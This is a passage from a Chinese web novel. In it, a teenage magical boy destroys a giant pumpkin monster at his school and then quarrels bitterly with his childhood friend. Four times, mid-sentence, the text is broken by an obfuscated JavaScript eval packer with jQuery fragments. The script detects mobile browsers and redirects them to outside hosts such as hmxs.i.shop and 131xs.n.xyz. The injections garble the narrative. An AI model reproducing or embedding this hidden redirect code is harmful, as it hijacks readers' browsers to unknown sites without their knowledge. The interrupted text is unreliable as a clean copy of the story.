“反!击!开始了——” 气势如虹且中二的开战宣言说完,罗乐安一跃而起,同时双手举过头顶,下一秒,那把两米多长的重剑出现在他手上。 他做好了急速下坠的准备,却惊奇地发现剑——变轻了。 之前要用尽全力才能举起来,现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547311|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在虽然不能说轻松得像举起一张纸,却也跟之前那柄单手剑差不了多少,已经可以让他在空中自由地挥砍了。 这哪里是种子! 这——分明是十全大补丸啊! 新力量让罗乐安的斗志大增,整个人表现出了前所未有的昂扬,一改之前总是想先平A的抠搜,上来就准备直接开大。 扭了一下比之前更加灵活的身体,他在空中调整了一下姿势,而后奋力一击,从近二十米的高空直直落下。 一剑劈下,正中南瓜的前额——唔,也可能是后脑勺。 咳,不管击中的部位是哪儿,总之,周旋了将近二十分钟,罗乐安终于有了一次有效攻击。 红雾弥漫,又很快被吸收殆尽。 “奈斯!” 罗乐安兴奋大喊,准备再接再厉,马上就进行第二击。 然而…… 在那之前,他得想办法先把武器给抽回来,才能继续砍。 有这念头的不止罗乐安一个,这个时候的西校区,温朗也想要抽刀砍人了。 尽管先前他安慰任穗不会有事,让对方别乱跑,乖乖回班上耐心等,可他自己却做不到原地等待。 于是在确定好自己班里没有异样后,他主动跟老师申请,去帮忙寻找不在的学生。 重点目标,正是罗乐安。 好说歹说,终于让韩主任同意之后,他直奔文科班的区域,率先打听已经确认失踪的某个不省心家伙的踪迹。 一圈下来后,倒真让他问着了。 一个14班的女生说六七分钟前瞧见过人往操场北边去了,只不过具体有没有进楼、进了哪栋楼,她就不得而知了。 听完这信息,温朗没有沮丧,也没有犹豫,匆匆道过谢后,就直奔距离操场最近的食堂而去。 动作急,却也不像之前那么毛躁。 此时距离异动开始,已经过去了二十多分钟,从东边传来的震感越来越弱,似乎危险马上就要过去了。 再加上他已经知晓了罗乐安的大概行踪,因而的确比刚听到人不见了的时候,要冷静许多。 同时,从刚刚就一直压抑着的愤怒,也终于按耐不住,开始一点一点涌现。 只是还没等到怒火完全没过心底,就听“轰隆”一声震天巨响,与此同时脚下的大地传来了剧烈的震动,他一时不备被晃倒在地。 不过还没等震颤完全过去,温朗就脸色一白,从地上一跃而起,朝着食堂飞奔而去。 乐乐! 千万不能有事啊! 他因为担心罗乐安而不顾自己的安危,殊不知这些危险,正是由后者引发的。 一场由抽剑引发的地震。 抽剑如拔河,比的不只是力气,更是耐力和节奏。 刚巧,罗乐安前者有缺,而后两者——他根本没这个意识。 他真的纯靠蛮力,和莫名其妙的毅力。 仗着谵蘖在林子里滚不动蹦不高,直接跳到南瓜身上,手脚并用,连蹬带踹。 最后,是他突然开窍,将体内魔力集中到了脚上,双手握着剑柄,双脚狠命一蹬,这才终于把剑从南瓜顶上拔了出来。 不过剑虽然回来了,副作用却超出了预料。 刚刚那一脚,就像是猫咪玩球玩脱了,直接把球踹飞。 只是猫咪踹飞毛线球是不会引发地震的,但罗乐安踹飞的,是超巨大南瓜,结果—— “Boom!” 南瓜落地的声音宛如爆炸,而成为落点的食堂…… 非常不幸地成为了危楼。 楼顶,连带着整个三楼,都被砸塌了。 罗乐安咬了咬嘴唇,第一次感觉到了棘手。 56. GOURD⑥ 在以往的战斗中,罗乐安不是没有遇到困境,也遇到过比这更危险的情况。 比如康乃馨那次,当时剑和盾都不知道□□碎多少个了,自己可以说是赤手空拳跟谵蘖“放风筝”。 再比如漫展那次,绣球谵蘖的硫酸雨是绝对的不可控的群发攻击,而自己当时还得额外费心保护几个,不,是一群人质,真的是非常令他头秃。 但只有这一次,他真正见识到了谵蘖的破坏力到底有多大。 食堂三楼整层都被砸塌,至于二层和一层的南侧也被波及,屋檐和墙体破破烂烂,整个建筑更是岌岌可危。 只能说幸好这个时候食堂里面已经没有人了,不然他都不敢想象那些砖石瓦砾间,会不会添上不该出现的颜色。 可这还不是让罗乐安最为感到头疼的,真正让他觉得棘手的,还是如何攻克这个近在眼前的庞然大物。 这次的谵蘖,没有腐蚀,不会催眠,光从外表来看就觉得傻傻笨笨的,第一印象完全不会觉得有多厉害,只是皮厚血也厚罢了。 结果,他看走了眼。 就是这么一个一看就没多大威力的南瓜,现在搞出了这么严重的问题,这其实还挺让他感觉挫败的。 而且除此之外,更让他沮丧的,是直到现在,跟谵蘖已经对打了好几个来回了,他都还是想不出能够彻底击败对方的办法。 自己刚刚的那一剑,的确是伤到了谵蘖,却也是收效甚微。 在他将剑拔出来后,南瓜身上只留下了一道短短的伤痕,看着深,却并没有表现出什么其他的不适“症状”。 当然了,如果能一直重复刚刚的攻击倒还好,总能把它磨死。 然而问题就在这儿。 虽然那把剑现在使用起来比之前顺手轻松许多,但实际上还是非常消耗他的体力和魔力的。 万一在彻底将其消灭前又用完了,前功尽弃不说,重点是他现在可没有第二颗种子可以用了。 真要是如此,那结局,一定会是灾难级的。 所以说,持久战是不现实的,还是得那种拥有爆发性的一击必杀的攻击手段才行。 不过刚刚的那一击,已经是他攻击力最强的招数了,元素箭更偏向控制,就算想要达成杀伤,条件也很苛刻——一个又大皮又厚、浑身上下干爽没有水的南瓜,无论是火烧、冰冻、电击还是爆炸,对其都只是洒洒水,说不定还不如小区门口盲人按摩的力度大呢! 啊…… 头更疼了。 一个又一个问题接涌而来,最后团在一起,成了一个更加巨大的问题。 而他的头疼,也同样因为问题的累加,而变得越来越严重,三叉神经都开始突突跳起迪斯科了。 罗乐安暴躁地用手揉着头发。 眼看大毛和二毛就要被搓成两根过分蓬松的“棒槌”,他动作突然一顿,整个人像是被谁点了穴似的,只有圆圆的眼睛越来越亮,迸发出了名为“智慧”的光芒。 对啊! 累加! 他看着手上的游戏手柄,想起以前玩游戏时候经常会使用的几个技能,心里当即就有了主意。 不过这方法具体能否实施,还得先问问那个“掌管技能的神”。 “丧丧,蓄力的按键是哪个?” 「嗯?」 “嗯什么嗯啊!就是蓄力攻击啊蓄力!你一个游戏机造型的精灵不至于不知道这个吧!” 此刻的罗乐安,正因为找到了生机而激动不已。 他光顾着跟丧丧进行新一轮的谈判,完全没注意到食堂墙根的砖瓦废墟里,那个一直安静得好像死了一样的巨型南瓜,突然动了。 并且还不是那种“悄咪咪往前滚”的小动作——虽然客观上它这个体型无论怎么小心动作也不可能小——而是像一颗炮弹一般,“Pong”地一下发射到空中,然后在冲到三四十米高的地方时,又急急向地面砸去。 瞄准的方向,正是那个一直傻站在林子里的某个魔法少男。 这一切发生的太过突然,以至于直到听到耳边的猎猎风声,罗乐安才反应过来。 然而那个时候,南瓜已经距他不足五米,他甚至都忘记了自己还能侧跳躲闪,只是本能地倒在地上,疯狂连续翻滚了七八圈,这才堪堪躲开了这记真正意义上的“泰山压顶”。 过程狼狈,结局也很狼狈。 脸上的面具在翻滚中不慎掉落,他现在整个人灰头土脸,可以说之前有多神气和得意,现在就有多窘迫和尴尬。 幸好他之前的诉求,总算有了回音。 丧丧甚至都没多余回话,直接投出一道银光,紧接着,罗乐安就感觉到右手柄上的A键开始发烫。 机会只有一次,时机却不容他选择了。 他站起来,重新召唤出长剑横在身前,而这个时候,谵蘖已经左摇右晃调整好了新一轮进攻的“姿势”,柄朝上,底朝下,似在蓄力准备再次“发射”。 罗乐安当下立马按下A键,身前那把长剑顿时也有了反应,银白色的光辉自剑柄处一路向剑尖蔓延,宛若冰轮独照。 与此同时,那颗南瓜也已经再次跃到空中。 好在“天时”方面他虽然不占优,但他拥有“地利”。 尽管这片林子已经秃了一片,那些枝丫却多少还是能帮上些忙——至少在谵蘖下落的时候,可以做些缓冲。 他也不指望能减轻多少冲击力,主要是能给自己多争取一点蓄力的时间,这比什么都强。 长剑的蓄力要比罗乐安想象中快,当南瓜再度朝着他砸下时,银辉终于将整把剑全部覆盖。 终于,可以开始反攻了。 头顶正上方的南瓜距离自己越来越近,罗乐安咬了咬嘴唇,努力把心头的恐惧压下去,当他再抬头时,沾着黑灰的小脸上,满是坚毅的神情。 下个瞬间,谵蘖落地。 他猛一后跳,疾闪出十几米,接着没有丝毫迟疑,趁着南瓜还在刚砸出来的坑里“懵圈”,他大声喊出那个随着蓄力技能一起进入脑海的名称。 “破空——” 罗乐安极速旋身,双脚碾过地面,腰身爆发出全部力量,带动上半身和手臂,驱使手中长剑横空一挥。剑光如练,随着他的动作,剑锋划出一道饱满而又凌厉的银色弧线,撕裂了空气,发出狠厉的声响。 “十字——” 横向一剑挥完,他双手将长剑高举,毫不犹豫地奋力下劈,银色寒光垂直贯下,剑锋处的空气发出尖锐啸音。 “斩!!!” 随着最后这声大喝,空中出现了一个银白色的十字剑痕。 剑痕的正对面,刚刚还一直颤动的南瓜,则是像被定格了一样,不再动弹。 然后在下一瞬间,剑痕倏地向前一突,“歘”一下,穿过了谵蘖。 罗乐安持剑的手不住地颤抖着,其实他的心也不住在抖。 刚刚的攻击视觉效果很好,可实际效果究竟如何,他完全没底。 幸好谵蘖没有卖关子的不良嗜好,被剑痕穿过后,只卡顿了一秒钟,紧接着就被“四等分”了。 红雾降临。 笼罩四野。 “丧丧丧丧丧!快快快!快吸!别别别等会儿又出新的幺蛾子!!!” 昵称被无端扩充到五个字的丧丧,并没有搭理罗乐安,因为它正忙着拼命“吃吃吃”。 也正是在它的努力下,红雾消散得极快,手柄胸针更是出现了全新的反应,发出了银色的光辉。 「新的净化招式。」 它的声音难得出现了“语气”,有一种“吃撑了”的无力感,但也可以理解成是“松了口气”的解脱感。 不过罗乐安这个时候也没心思调侃这些了,他看着愈发稀薄的红雾后面,那四块已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16558425|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经悬浮到半空的南瓜残骸,没有任何犹豫,果断按下L键跟R键。 “L-R同步!净化领域,启动!” 手柄发出银色的光束,将还在负隅顽抗、准备发射南瓜籽的谵蘖直接定在半空中,而后一点一点化作红雾,消失不见。 终于……结束了。 确认谵蘖已经完全消灭,罗乐安终于放松,腿一软,直接跪坐在地。 此时此刻,他真的好想倒头一觉到天明,可是他不能。 脑袋里一如既往出现了那些他搞不懂的声音,他也无心理会,一心都在不远处那个坑洞里遗留的南瓜种子。 巨无霸版的南瓜种子,比他的两个手掌还要大,自己根本没办法在不暴露的情况下带回去,但是不带回去又不行。 “丧丧,”最后罗乐安终于想到了个两全其美的办法,“干脆你现在把它吸收了吧!” 丧丧没说话,却也没拒绝,乖乖把种子“吞”了。 呼。 这样就行了,这样就完美…… 他一口气还没吐完,抬头看着毁得差不多林子,还有食堂,实在是感叹不下去了。 这东校区现在,真的是既不完美,更不无缺。 只是这也不是他现在能解决的,当务之急还是要快点回西校区去。 希望没有人注意到他突然“失踪”。 然而,他的希望,到底是落空了。 “罗!乐!安!” 刚回到西校区,还没等他按照原定计划从食堂后面绕回来,就被一直守在附近的温朗给逮个正着。 “总算被我找到了……又乱跑,你怎么又乱跑!就不能改改你这个爱凑热闹的臭毛病吗?!!” “我……我、我怎么了我?你干嘛啊!吓死我了……” 罗乐安原本因为成功消灭谵蘖而心情大好,被温朗这么一突脸,先是被吓了一跳,等到他反应过来对方话里的内容都是对自己的指责后,心里的委屈便翻涌上来。 “你吼我做什么!我怎么就乱跑了?你干嘛突然凶我啊!” “你别倒打一耙——我这是关心你!老师明明让大家在操场集合,避开建筑物,你跑来食堂不是乱跑是什么!你能不能不要总是这么任性!你行动前能不能过过脑子!” 因为着急,温朗不止语气很冲,表情也变得有些……凶狠。 他怒目圆睁,眉头紧锁,眉心更是快要拧成一个死结。嘴角向下耷拉,嘴唇则抿成了一条僵直的线,下颌咬得死死的,连腮帮子都因为生气而微微鼓起。 这种表情,罗乐安以往只在年级主任老韩头身上瞧见过,从未怕过,然而当这表情出现在温朗脸上时,却只感觉一阵心慌,还有忐忑。 只是这种情绪转瞬即逝,很快就被因为委屈而诱发的怒火取代。 毕竟他俩认识这么久,就算以前自己再怎么调皮捣蛋,温朗都没给过自己这种脸色,这次他只是单独行动了一下,对方竟然就这么说自己,不仅凶他,还诋毁他,如何能让他不生气! “我就是去上卫生间而已!哪里任性了!哪里就没过脑子了!” 论嗓门,罗乐安要比温朗厉害得多,“你管天管地,还要管我这个吗?!而且这种事你也要管,你是上帝吗管那么宽!” 一顿大喊之后,他感觉自己眼睛酸酸的,眼角湿湿的。 作为一个粗神经的乐天派,他跟人吵架的经历其实屈指可数,顶多是偶尔跟亲妈胡女士对线,不过那几次都还是理智占上风,与其说吵架,不如说是在争辩对错。 然而这一次,是情绪更占上风。 也因此,他第一次知道自己竟然还是个“泪失禁”体质。 看着控制不住滴落到自己外套前襟的泪珠,罗乐安所有的生气和委屈被揉成一团,全部发泄了出来。 “温朗——我再也不要理你了!我要……跟你绝交!!!” 57. CHINABERRY① “乐乐,原来我之前一直都误会你了——你这哪是中二病啊?你这明明就是富有童心啊!我刚刚盘了一下,‘我要跟你绝交’这种话,我最后一次说的时间,可以追溯到小学二年级的暑假。没想到啊没想到,有朝一日,我竟然还能在高中校园里听到,真的是……内词儿怎么说来着?哦哦哦,真的是‘文艺复兴’啊~” 罗乐安趴在课桌上,整个脑袋都埋进了手臂里,却还是隔绝不了萦绕在自己耳边、任穗那充满了幸灾乐祸意味的喋喋不休。 这种“3D环绕立体声”的骚扰让他有些火大,很想拍桌子站起来大声质问对方“你究竟是哪边儿的”,然而此刻,他却只是在脑袋里面想象了一下,完全没有那个气力跟人呛声。 他现在整个人都怂哒哒的,根本提不起战斗的精神。 因为南瓜变异,湖灵高中高一高二所在的东校区要先停课至少半个月,全体师生在家上网课。 至于西校区,毕竟距离事发地还是远了些,除了部分楼体的外墙因为震动的余波而掉了点墙皮之外,并没有其他明显的遭受破坏的痕迹,因此经过两天评估确认楼体没问题后,就复课了。 只是复课容易,他跟温朗之间友情的裂痕。就没那么好修复了。 那天,在他没出息地飙着泪,大喊出“绝交宣言”后,两个人的那场争吵也就被迫不了了之了。 当时自己刚吼完,韩主任就过来找温朗帮忙整队。 而对方什么也没说,只是面无表情地看了他一眼,就直接转身走掉,看着没有丝毫犹豫。 那一眼,没了之前的“怒火中烧”,却多了几分疑似“意兴阑珊”的情绪。 这让罗乐安的心里感觉更加气闷。 然后,就没有然后了。 他俩“分道扬镳”了。 停课的那两天,两个人都待在各自的家里。 温朗是不是在专心上网课,罗乐安并不清楚,反正他自己是不太好过。 因为和南瓜谵蘖那一战的消耗太大,他可怜巴巴地发烧了。卧床了差不多整整两天,直到复课前一晚,体温才降回正常。 要是放在以往,罗乐安病得这么严重,温朗早就跑前跑后伺候起来了。 结果这次,整整两天零一晚上,将近60个小时,别说出现了,这个冷酷无情的人连问候一声都没有。 而这,还不是令他最生气的。 病了两天,也气了两天,虽然罗乐安主观上还想继续气下去,可毕竟气多伤身,加上他的精力值本来也就因为生病而被消耗大半,实在是酝酿不出更多火气了。 因此在烧退了之后,尽管心里还不太痛快,但他原本上头的情绪还是退了不少。 于是,他准备格局大一点,做那个主动递出橄榄枝的人。 复课那天,他甚至特意起了个大早——不过躺了两天他的确现在觉少,想要赖床也困难。 总之,他原本想借着叫温朗一起去上学的机会,顺便给对方递台阶,却没想到“热face贴上了冷臀部”,敲开隔壁门后,他得知某个人早在二十分钟前就出发了。 这可算是正式“引爆”了罗乐安。 谵蘖闹事那天,温朗没等他一起就先独自回家,只是当时他俩刚吵完架,出现这种走向倒也正常。 但!是! 两天了,这个人不反省自己的错误就算了,冷酷无情对他不闻不问也算了,竟然连“一起上学”这种维持了十年的约定都不遵守了,明显是一——点都没有求和的意思。 哈! 不就是比谁气性长嘛! 不就是比谁战意强嘛! 战吗? 战啊! WHO怕WHO啊!!! 冷战,开始了。 “……从我认识你那天起,你跟温朗就‘焦不离孟孟不离焦’的,现如今你居然真的忍心晾着他……不对,是他竟然真的忍心晾着你三天!真的是匪夷所思,已经可以入选胡玲高中的未解之谜了啊!” 任穗还在絮絮叨叨,而且说的话一点都不中听,罗乐安烦得慌,索性将脑袋转到另一侧,把后脑勺对着她,既是眼不见为净,也是无能迁怒。 不过毫无震慑力。 见他这副模样,任穗挑了挑眉,一心只想手贱地戳戳他圆润又蓬松的脑瓜壳。 只是还没等碰到呢,对方头顶的大毛跟二毛就狠狠摇晃了一下,像是要躲,又像是想要将她的手拍开。 “哎呀~乐乐你现在气……唔唔唔!” 原本任穗还想继续“挤兑”,然而她话还没说完,就被刚给同学讲完题、匆匆赶来的常映月捂住嘴巴拉走了。 哼…… 罗乐安闷声哼气,心里烦得像是被猫咪抓烂的猫抓板,整个人学不进去、睡不进去、玩不进去,而且看啥都不顺眼,今儿早上瞧见天上的太阳,他都恨不得指着骂几句,骂它为什么要从东边升起。 他的这种状态实在是反常,就像是活泼健气的小博美,突然就套上了树懒的皮肤,永远丧气,永远放弃选择。 老师们第一天还会有些不满,等到第三天见他还是这副又怒又怂的模样,心里就只剩下担心了。 毕竟这熊孩子的成绩和学习态度好不容易才提上来,正处在非常关键的巩固期,要是又掉回去,他们肯定会集体跳脚。 至于这种状态的原因,因为“坏事传千里”原则,他跟温朗的吵架事件整个西校区几乎都传遍了,连教导主任老韩头都没忍住过来关心,让他先服个软别耽误学习。 特别是别耽误温朗。 可以说,跟之前相比,罗乐安这三天的校园生活用四个字来形容,那就是格外热闹,不,是闹腾。 内忧(任穗)外患(老韩头)逼得他脑袋里面乱糟糟的,可以说是烦上加烦。 本以为回家之后能躲个清净,却没想到自己亲妈也没放过他。 “矮油~” 胡女士难得又熬夜,拿着一根香蕉,倚着卧室门框,一边剥香蕉,一边看亲儿子的笑话。 “就算你把自己埋在被子里,也还是解决不了问题啊,乐乐牌鸵鸟~” 声音里的幸灾乐祸太明显,罗乐安听到后心里更烦了,拽过枕头压在脑袋上,却还是抵挡不住胡女士的“魔音贯耳”。 “不过你跟小朗吵架这事儿真的是太稀奇了,我今天还跟小许聊呢,我们俩记得你俩上次吵这么厉害,还是在小学二年级的时候吧?” “胡女士,你好烦啊!” 罗乐安瓮声瓮气的声音自棉被下传出,语气十分之暴躁。 “大晚上闲的没事干就去睡觉啊!不怕变老啊!” 他的话并没有劝退胡女士,后者甚至“激流勇进”,举着半截香蕉进了卧室,拍了拍床上的被子包。 “关心儿子,既是责任,也是义务~说起来你俩上回是因为什么吵起来的来着?哦——我想起来了!你当时因为小朗只顾着练小提琴不陪你玩,所以用大葱替换了琴弓,导致小朗差点错过了当年的考级,跟你冷战了大半天。别说,十年过去了,你气人的能力也见长啊,从十几个小时直接扩展到一百多个小时,厉害a……唉哟!” 伴随着一个玩偶飞落到自己身旁,胡女士终于停止了挤兑,捡起地上的帕恰狗,放回到罗乐安床头,然后又伸手轻轻拍了拍他的脑瓜壳。 “乐乐,你有没有注意到一件事?虽然这两次都是小朗先跟你生气的,但原因却完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16570026|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。” “啊?” 罗乐安闻言,终于抬头舍得把脸露出来,脸上的表情呆呆傻傻,分外好笑。 “不都是因为我不听话生气吗?可是我这次不是故意捣蛋……” “停——小嘴巴闭起来,让你一个粗神经分析这么细腻的问题,是我唐突了。” 手动给儿子“闭麦”后,胡女士揉了揉眉心,收起幸灾乐祸的表情,开始走心。 “小时候,小朗是因为你耽误了他重要的事,所以跟你生气。” “那我这次,又没有耽误他什么事啊……” “……” 胡女士深吸气,默念了好几次“亲生的”,强行把无语情绪压下去,而后继续道,“这次他不是为自己,是为了你。是因为担心你的安全,而你又总是在这方面缺根筋,所以他才生气的。” “怎么连您也骂我……我、我怎么就缺根筋——唉哟,干嘛打我啊!” 收起刚完成“暴行”的兰花指,胡女士伸出食指,疯狂戳着罗乐安的脑门。 “罗乐安!你以为你前两天乱跑的事情,只有小朗生气吗?告诉你!老娘也生气!甚至更生气!要不是小朗先骂了你,你又生病,我肯定狠狠削你一顿!” 眉心一点红的罗乐安掀开被子坐了起来,双手捂着脑门,一脸懵登地看向自己亲妈。 而如此表情,让胡女士更生气了。 “你啊你!”脑门被挡住了,她只好揪着某人头顶的两根呆毛疯狂摇晃,“怎么就不懂呢!我跟小朗生气,是因为在乎你,在乎你的安全,也不想你总是没头没脑地横冲直撞,到时候真受了伤不就晚了吗?!” “啊?是这样吗?” 罗乐安捂着额头的手因为吃惊而渐渐松开,“真的不是他看我不顺眼没事找事吗?” “……” 胡女士感觉自己的乳腺都快堵了,也不想再多浪费唇舌,当即开始做最后的“总结陈词”。 “总之,你就不要再闹脾气了,明天去跟小朗道歉,结束无聊又无意义的冷战。” 说罢,她松开了呆毛上的“魔爪”,屈起食指轻轻敲了敲自己傻儿子的脑门儿,然后就离开了。 而因为脑门儿上的“重击”顺势倒在床上的罗乐安,睁着眼睛发了好一会儿呆,最终还是接受了胡女士的说辞,承认温朗的种种“恶行”是出于对自己的关心。 这么一看,他多少显得有些不懂事了。 不过不知者不怪嘛,就算他真的作了点,那也是情有可原的。 给这几天的无理取闹找到合理的解释后,罗乐安心里总算是好受了许多,心结也解了,委屈也散了,当即也不准备等明天,只想现在就找温朗说清楚。 于是他当即大头朝下,趴在床上捡起地板上刚刚被不小心掀掉的手机,甚至都来不及调整姿势,就要递出橄榄枝。 之前因为生气,他把温朗的微信解除了置顶,如今要在自己浩如烟海般的通讯录里翻到,实在是太麻烦了,刚好研究会的群现在在被顶在最上头,他便想着直接从群里找人,这样更快。 这个群自冷战开始后就一直没动静,也不知道今晚怎么这么热闹,未读消息已经有上百条,并且还一直在增加。 他有些好奇,不过心里更惦记着温朗的事,便想着之后再来“补课”。 本来是想点右上角三个点的,他却因为着急,一不小心碰到了那个“269条新消息”的文字提示框,页面直接就跳到了很很很上面。 罗乐安匆匆扫了一眼,眼里的笑意瞬间凝滞,腮帮子也因为气愤鼓了起来。 关心? 在意? 呸! 鬼才要跟温朗和好呢!!! 58. CHINABERRY② 虽然前一晚熬到将近十一点才睡,可胡之桃第二天还是硬撑着起了个大早。 倒不是母爱爆棚,想要给罗乐安做早饭,她仅仅只是关注儿子“负荆请罪”的最新动态,想要吃到最为新鲜的第一手瓜。 只是尽管的确是吃到了瓜,但“品种”却并不是她一开始想吃的那个。 “我上学去了。” 看着罗乐安一脸死气沉沉从卧室出来去了卫生间,转眼又出来去了厨房,最后叼着一片面包就要出门,胡女士因为早起而有些宕机的脑袋终于反应过来。 “等、等等等等!” 她合上因为打哈欠而张开的嘴巴,顾不上擦眼角流出的泪水,一把将人拉住。 却感觉拉住的不是一个人,而是一团轻飘飘的棉花。 “怎么这么一副鬼样子?你昨晚该不会排练了一晚上怎么跟小朗讲和吧?可你现在看着阴气森森的,就算道歉也得不到好结……” “鬼、才、要……跟他道歉呢!” 阴森森的罗乐安,阴恻恻地转过头。 眼下乌青,眼里布满了红血丝,声音也沙哑如粗粝的砂子一般,顶着这副尊容冷不丁冒出一声,的确……挺鬼的。 饶是胡女士已经见惯了各种各样的妖魔鬼怪,也还是被他这副模样吓了一跳,手里的“鬼”也趁着她怔愣的功夫,挣脱了桎梏出了门。 “这孩子……”胡女士眉头微蹙,无意识地甩了甩手,“吃错药了?” 罗乐安没吃错药,但他现在非常想吃人。 脚下的车轮被他蹬的飞快,而脑袋里面则又在回闪昨晚看到的那段聊天记录。 穗穗子:「快看快看!关于怪物和L-RAether,果然不是只有咱们几个怀疑她的身份,已经有其他人开始列嫌疑名单了,我和小月都有上榜,哈哈哈~」 穗穗子:「图片.jpg」 穗穗子:「不过重点是第四个人,噗!」 三分干饭王:「哇靠!」 三分干饭王:「罗乐安?!」 三分干饭王:「理由竟然是足够中二并且有两根呆毛?」 三分干饭王:「太离谱了哈哈哈哈哈哈哈哈哈哈哈哈!!!!!」 向日辰光:「也不是没可能啊~」 向日辰光:「因为L-RAether确实有两根呆毛,而且形状和大乐的也真的很像!」 温朗:「不是他。」 温朗:「还有,温霁,你怎么这么晚还没睡!想一辈子一米三一吗?」 向日辰光:「我错了!马上就睡!哥你别咒我!」 向日辰光:「最后问一句,哥你为什么那么肯定不是大乐呀?」 温朗:「……他没那个脑子。」 他没那个脑子。 他没那个脑子? 他怎么就没那个脑子了! 罗乐安被回忆里的画面气疯了,脚下的自行车车轮也快被他蹬成了风火轮,感觉下一秒他就能腾空了。 然后,他就真腾空了。 前两天刚下过雪,虽然不大,人行道上却还是有未融完的积雪,并且经过行人两天的碾压摩擦,变得又硬又滑。 而罗乐安因为刚刚想得太入神,全凭肌肉记忆在骑车,并没有注意到路面上突然出现的冰层,还直愣愣地往前骑,结果在摩擦力“罢工”的作用下,自行车不受控制地“滋溜”一下往前冲。 然而前面不远就是一处下行的台阶,不过只有五六级,其实骑着车不难通过。 只是以往他经过的时候注意力是专注的,可这次不一样,他直到腾空了人才回神,可惜这个时候已经来不及了,他慌乱地操控着握把,最终却还是没能避免“车倒人翻”的悲惨结局。 好在人翻倒的一侧有矮灌木垫着,罗乐安的身体没有着地,自然也没伤着骨头。 就是和冬青丛亲密接触的手和脸都出现了划伤,一道道的,狼狈极了。 可这还不是最终结局。 脱轨的自行车在他脱把后又往前滑了一小段,撞上路旁的行道树才停下。 车倒是没坏,但是经此一撞,树上残存的那点雪水因为震动洒落了下来,全招待了罗乐安。 于是,他就从狼狈小狗,变成了落水小狗。 啊——!!!!! 他因为这通倒霉的变故气到张嘴,想要大喊一声撒气。 不过他刚张大嘴巴,还没等喊呢,就牵动到了脸上的伤,只好把嘴巴闭上,在心里面撒泼打滚。 只是不管他心里再怎么懊恼,再怎么想要发疯,他也知道自己此刻在大街上,继续停留只会更丢人,便只能憋着一肚子气,扶起自行车,继续往学校蹬。 但是中途还得找个药店或者诊所,处理一下脸和手上的伤。 可恶的温朗! 全因为他,自己就多了这么一个凄惨的支线任务! 也由于被迫完成了这个支线,罗乐安的到校时间也被迫延后,顶着花脸进教室的时候,里面差不多都坐满了。 他本人是很想低调,奈何进屋的时候老师都已经到了,这种情况下,门口稍有动静,就会吸引一屋子人的注意力。 以至于到最后,他只能顶着一脸的青青紫紫和创可贴,在全班的“注目礼”下,强装镇定地走到了自己的座位里。 “你这是……上学路上遇上打劫的了?” 好不容易忍到早自习结束,任穗第一时间就冲了过来,捧着罗乐安的脸就一顿上下左右仔细观摩,“可一个穷学生有什么好抢的啊?你是不是遭遇霸凌了?” “嘶……” 忍着疼把自己的脑袋从任穗手里解救了出来,罗乐安一边吸着凉气,一边小心地抚平脸上被对方弄皱的创可贴。 “对,是被霸凌了,其中一个霸凌者就是你!嘶……痛痛痛……” “哎呀哎呀,一着急力度没掌握好,对不起嘛——要不我给你呼呼吧~” “咦(↓)——你少恶心我!” 罗乐安用手将任穗的脸推开,后者也顺势闪开,毕竟这招恶心到的不止一人。 “对了,你刚刚说我是其中一个的‘霸凌’者,那还有谁欺负你了?你脸上的伤是不是就是他们弄的?哎呀!走,去找温朗,让他带你去找韩主任,这样学校肯定能重视!” 她说着,一把拉起罗乐安就要往外走,又被后者奋力挣脱。 “哎呀!找他有什么用啊!欺负我的不就是他吗?大混蛋!我一辈子都不要跟他说话了!!!” “……” 任穗眨了眨眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16594690|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,用了一分钟的时间理清思路,眉头蹙起,表情微妙。 “你俩,还没和好啊?” “呵!一个不仅当面骂我,还在背后蛐蛐我的人,我要是跟他和好我就是小狗!” “也不用这么毒,而且是不是有误会啊?温朗什么时候背后说你了?” 听到这话,罗乐安正要跟她控诉某个人的恶行,不料却被过来送温暖的常映月打断了。 “这个小毯子你铺桌子上,防止手又磨伤。杯子里冲的是红糖姜茶,你趁热喝,别感冒了。” 